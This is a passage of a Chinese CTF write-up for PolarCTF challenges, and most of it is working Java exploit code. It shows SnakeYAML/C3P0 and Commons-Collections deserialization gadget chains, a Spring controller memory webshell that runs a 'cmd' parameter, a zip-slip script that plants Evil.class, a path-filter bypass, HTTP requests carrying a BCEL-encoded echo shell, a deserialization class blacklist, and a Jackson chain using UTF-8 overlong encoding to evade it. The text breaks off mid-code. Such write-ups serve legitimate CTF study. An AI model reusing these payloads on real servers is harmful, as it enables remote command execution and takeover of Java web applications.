 innerMap.remove(templates);
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(innerMap,invokerTransformer);
 return hashMap;
 }
 public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
 Class clazz = obj.getClass();
 Field classField = clazz.getDeclaredField(fieldName);
 classField.setAccessible(true);
 classField.set(obj, fieldValue);
 }
 public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass("A");
 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 " }", clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }

 public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {

 CtClass clz = genPayloadForLinux();
 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
 setFieldValue(obj, "_name", "a");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 return obj;
 }
 static void addHexAscii(byte b, StringWriter sw)
 {
 int ub = b & 0xff;
 int h1 = ub / 16;
 int h2 = ub % 16;
 sw.write(toHexDigit(h1));
 sw.write(toHexDigit(h2));
 }

 private static char toHexDigit(int h)
 {
 char out;
 if (h <= 9) out = (char) (h + 0x30);
 else out = (char) (h + 0x37);
 //System.err.println(h + ": " + out);
 return out;
 }

 //将类序列化为字节数组
 public static byte[] tobyteArray(Object o) throws IOException {
 ByteArrayOutputStream bao = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bao);
 oos.writeObject(o);
 return bao.toByteArray();
 }

 //字节数组转十六进制
 public static String toHexAscii(byte[] bytes)
 {
 int len = bytes.length;
 StringWriter sw = new StringWriter(len * 2);
 for (int i = 0; i < len; ++i)
 addHexAscii(bytes[i], sw);
 return sw.toString();
 }

 public static void main(String[] args) throws Exception {
 String hex = toHexAscii(tobyteArray(CC11()));
 String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
 "userOverridesAsString: HexAsciiSerializedMap:"+hex+";";
 System.out.println(poc);
 }
}

再来看CC6

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3P0_CC6Exp {

 public static void main(String[] args) throws Exception {
 String hex = toHexAscii(tobyteArray(CC6()));
 String data = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
 System.out.println(data);
 }

 public static Object CC6() throws Exception {
 byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\C3P0\\target\\classes\\com\\p0l1st\\SpringControllerMemShell3.class"));
 TemplatesImpl templates = (TemplatesImpl) getTemplate(bytes);

 Transformer transformer = new InvokerTransformer("getClass", null, null);
 Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), transformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

 HashMap<Object,Object> hashMap = new HashMap<>();
 hashMap.put(tiedMapEntry, "p0l1st");

 lazyMap.remove(templates);
 
 setFieldValue(transformer, "iMethodName", "newTransformer");

 return hashMap;
 }

 public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate(byte[] bytes) throws Exception {
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
 setFieldValue(templates, "_name", "p0l1st");
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 return templates;
 }

 public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception {
 Field classField = obj.getClass().getDeclaredField(fieldName);
 classField.setAccessible(true);
 classField.set(obj, fieldValue);
 }

 public static byte[] tobyteArray(Object o) throws Exception {
 ByteArrayOutputStream bao = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(bao);
 oos.writeObject(o);
 return bao.toByteArray();
 }

 public static String toHexAscii(byte[] bytes) {
 int len = bytes.length;
 StringBuilder sb = new StringBuilder(len * 2);
 for (byte b : bytes) {
 int ub = b & 0xff;
 String hex = Integer.toHexString(ub).toUpperCase();
 if (hex.length() < 2) sb.append('0');
 sb.append(hex);
 }
 return sb.toString();
 }
}

package com.p0l1st;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

/**
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
 * 因此比 SpringControllerMemShell.java 更加通用
 * Springboot 1.x 和 3.x 版本未进行测试
 */
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {

 public SpringControllerMemShell3() {
 try {
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Method method2 = SpringControllerMemShell3.class.getMethod("test");
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

 Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
 getMappingForMethod.setAccessible(true);
 RequestMappingInfo info =
 (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);

 SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
 mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
 } catch (Exception e) {

 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

 }

 public SpringControllerMemShell3(String aaa) {
 }

 @RequestMapping("/malicious")
 public void test() throws IOException {
 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
 HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 try {
 String arg0 = request.getParameter("cmd");
 PrintWriter writer = response.getWriter();
 if (arg0 != null) {
 String o = "";
 ProcessBuilder p;
 if (System.getProperty("os.name").toLowerCase().contains("win")) {
 p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
 } else {
 p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
 }
 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
 o = c.hasNext() ? c.next() : o;
 c.close();
 writer.write(o);
 writer.flush();
 writer.close();
 } else {
 response.sendError(404);
 }
 } catch (Exception e) {
 }
 }
}

ezUtil

com.polar.ctf.admin.api.controller.GetClasssController

这里存在反射可以调用任意方法

再来看FileUtil，这里可以创建文件夹，删除文件夹，写zip，解压zip，并且unZipFile解压时存在目录穿越

那么就有任意文件上传了，至于写什么可以参考上面的一写一个不吱声，直接往$JAVA_HOME/jre/classes写一个类，然后通过GetClasssController去调用

但是我们访问/admin/*会被Filter拦截

可以用/admin;/xxx/xxx;admin/来绕过

恶意类

import java.lang.reflect.Method;

public class Evil {
 public static boolean getShell(String code) throws Exception{
 ClassLoader classLoader = (ClassLoader) Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader").getDeclaredConstructor().newInstance();
 Method loadClassMethod = classLoader.getClass().getMethod("loadClass", String.class);
 Class<?> loadedClass = (Class<?>) loadClassMethod.invoke(classLoader, code);
 loadedClass.newInstance();
 return true;
 }
}

zip

import zipfile
import os
web_path = "/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/"
upload_file_name = "Evil.class"

files_to_zip = {
 "Evil.class": "../../../../../../../../" + web_path + upload_file_name
}

# 指定输出ZIP文件的名称
zip_filename = "Evil.zip"

# 创建一个新的ZIP文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
 for original_file, new_name in files_to_zip.items():
 # 检查文件是否存在
 if os.path.exists(original_file):
 # 使用arcname参数更改压缩包中的文件名
 zipf.write(original_file, arcname=new_name)
 else:
 print(f"文件 {original_file} 不存在，跳过压缩")

print(f"已创建 ZIP 文件: {zip_filename}")

我们先上传zip

POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
 "data": {
 "clazzName": "com.polar.ctf.admin.util.FileUtil",
 "fieldName": [
 "UEsDBBQAAAAIAHMRB1udM22/owIAAFcFAABPAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9qdm0vamF2YS04LW9wZW5qZGstYW1kNjQvanJlL2NsYXNzZXMvRXZpbC5jbGFzc41UW1PTUBD+Dg1NW6JACxRRVFQkTSEV8YZFRG7qTMGHOjjoUxoObTAkTJpW/U+8+FIdZ3R49kc57kkKtBAdOtOzObvfXr7dTX7/+fELwAO8SiGOqQTUFCTkZGhC5mVMpzADXUZB2O8lMCvjvjDNpcjpoXh6JOMxQ3zBcix/kSGm5rYYpBV3hzP0lyyHbzb2K9x7a1Rs0qRLrmnYW4ZniXtbKfk1q04xSmtNyy4yJKrcL9e4bTMMq6U9o2kUbMOpFsq+ZznVYu49uZhBgvR5K0OfaRv1esk1drjHkO2ArJwaCNdv01Og2uB+zd1hGOvAenzX5qZfCG0irIDz0IFh8GxYQox0k/tycExw6Cx4QVskfGrts8kPfMt16jKe0L3sNjyTr1vCJymaoQs/BQMYZJg13X293nB016vqxoFh1rheMbmtW47PPcew9YZPHh0cFczjKfE8k1xBEQsMA6fqN5U9oirjmYJFPKeuR7ZMwRJeUGEnbeuKEbZfwTJWZKwqWMO6iPaSZiWYMGROsSe8GeRd19s09onwZNSoo7pM27HKacYeDYNa53sN03dp0nPqh3PwXMREO5wo3Ph/ATR2h396TXfDManIqa4cYd+6krRV4RK3u5RRo3gkCXC8eEsR3C9G5mQ9R/9loxfLcpruR6p+Xj1f6UX5DKkRakygnz4M4tcDJvaUzjTdCiQZyV7tG9jXwJyhMx4oYxiiUwkBGMYIySSyGCWUcD4knERyOd3zHbHYT0gt9JKItyAfIVHKt5BMpyTSb8fSfeUWlI3pPF3j2zGNbpeOIG3OtHD5nXQYZBOZRyiTyJal2BpkegUStM7JoBItzIYrGCOZRR5XcY2q06iicVynqorkcQM3KdZEu/JQc4s0t0kjkeYO/ScDpnf/AlBLAQIUABQAAAAIAHMRB1udM22/owIAAFcFAABPAAAAAAAAAAAAAAC2gQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvY2xhc3Nlcy9FdmlsLmNsYXNzUEsFBgAAAAABAAEAfQAAABADAAAAAA==",
 ".",
 "Evil"
 ],
 "methodName": "generateZip"
 }
}

然后解压

POST /admin;/api/GetClassValue;admin/ HTTP/1.1
Host: 93d64b59-6fd1-49e0-8b9a-fd9271b2ad14.www.polarctf.com:8090
Content-Type: application/json

{
 "data": {
 "clazzName": "com.polar.ctf.admin.util.FileUtil",
 "fieldName": [
 "Evil.zip"
 ],
 "methodName": "unZipFile"
 }
}

最后传入一写一个不吱声的回显马

{"data":{"fieldName":["$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A"],"methodName":"getShell","clazzName":"Evil"}}

ez_check

/deserialize可以直接反序列化，KmpCheck方法会检验是否存在黑名单字符串

bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.ldap
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

SafeObjectInputStrea存在黑名单类

依赖只有SpringBoot但是SpringBoot自带Jackson

打Jackson原生二次反序列化，黑名单用UTF-8 Overlong Encoding绕过

大致的链子应该是

readObject()->
XString.equals()->
POJONode.toString()->
SignedObject.getObject()->
BadAttributeValueExpException.readObject()->   
POJONode.toString()->
TemplatesImpl.getOutputProperties()

Exp

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.Signature;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.UUID;

public class XStringToJackson {
 public static Object makeTemplatesImplAopProxy(Object templatesImpl) throws Exception {
 AdvisedSupport advisedSupport = new AdvisedSupport();
 advisedSupport.setTarget(templatesImpl);
 Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)constructor.newInstance(advisedSupport);
 Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
 return proxy;
 }
 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setFieldValue(s, "size", 2);

 Class nodeC;
 try {
 nodeC = Class.forName("java.util.HashMap$Node");
 } catch (ClassNotFoundException var6) {
 nodeC = Class.forName("java.util.HashMap$Entry");
 }

 Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
 setAccessible(nodeCons);
 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setFieldValue(s, "table", tbl);
 return s;
 }
 public static Object listWrap(Object getterObject, Object originObj) throws Exception {
 ArrayList<Object> list = new ArrayList();
 list.add(getterObject);
 list.add(originObj);
 return list;
 }
 public static Method getMethod(Object obj, String methodName, Class<?>[] paramTypes) {
 Class clazz = obj.getClass();
 Method method = null;

 try {
 method = obj.getClass().getDeclaredMethod(methodName, paramTypes);
 } catch (NoSuchMethodException ignored) {
 }
 while(method == null && clazz != Object.class) {
 try {
 method = clazz.getDeclaredMethod(methodName, paramTypes);
 } catch (NoSuchMethodException var6) {
 clazz = clazz.getSuperclass();
 }
 }

 if (method == null) {
 return null;
 } else {
 method.setAccessible(true);
 return method;
 }
 }
 //XString 碰撞hash ，调用obj的toString方法
 public static Object getHashMap(Object obj) throws Exception {
 XString xstring = new XString("");
 HashMap map1 = new HashMap();
 HashMap map2 = new HashMap();

 map1.put("yy", xstring);
 map1.put("zZ", obj);

 map2.put("zZ", xstring);
 map2.put("yy", obj);
 HashMap map = makeMap(map1, map2);
 return map;
 }
 // 序列化时，对字符串进行UTF-8编码，导致长度超出预期，触发异常，进而绕过字符串校验触发反序列化。
 public static byte[] serializeOverlongEncoding(Object obj) throws Exception {
 ByteArrayOutputStream out = new ByteArrayOutputStream();
 ObjectOutputStream outputStream = new UTF8OverlongObjectOutputStream(out);
 outputStream.writeObject(obj);
 return out.toByteArray();
 }
 public static CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass("Exp");

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
 " try {\n" +
 " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
 " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
 " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
 "\n" +
 " String te = httprequest.getHeader(\"Host\");\n" +
 " httpresponse.addHeader(\"Host\", te);\n" +
 " String tc = httprequest.getHeader(\"cmd\");\n" +
 " if (tc != null && !tc.isEmpty()) {\n" +
 " String[] cmd = new String[]{\"/bin/bash\", \"-c\", tc}; \n" +
 " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
 " httpresponse.getWriter().write(new String(result));\n" +
 "\n" +
 " }\n" +
 " httpresponse.getWriter().flush();\n" +
 " httpresponse.getWriter().close();\n" +
 " } catch (Exception e) {\n" +
 " e.getStackTrace();\n" +
 " }\n" +
 " }", clazz));

 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public static void main(String[] args) throws Exception {
 byte[] bytecodes = genPayloadForWin().toBytecode();
 Object templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
 setFieldValue(templates, "_name", UUID.randomUUID().toString());
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

 // 动态代理TemplatesImpl对象，防止不稳定触发的情况
 Object getter = makeTemplatesImplAopProxy(templates);
 CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
 CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
 ctClass.removeMethod(writeReplace);
 ctClass.toClass();
 Object tostring1 = new POJONode(getter);

 HashMap map = (HashMap) getHashMap(tostring1);
 Object serObject = listWrap(getter, map);

 KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
 keyPairGenerator.initialize(1024);
 KeyPair keyPair = keyPairGenerator.genKeyPair();
 PrivateKey privateKey = keyPair.getPrivate();
 Signature signingEngine = Signature.getInstance("DSA");
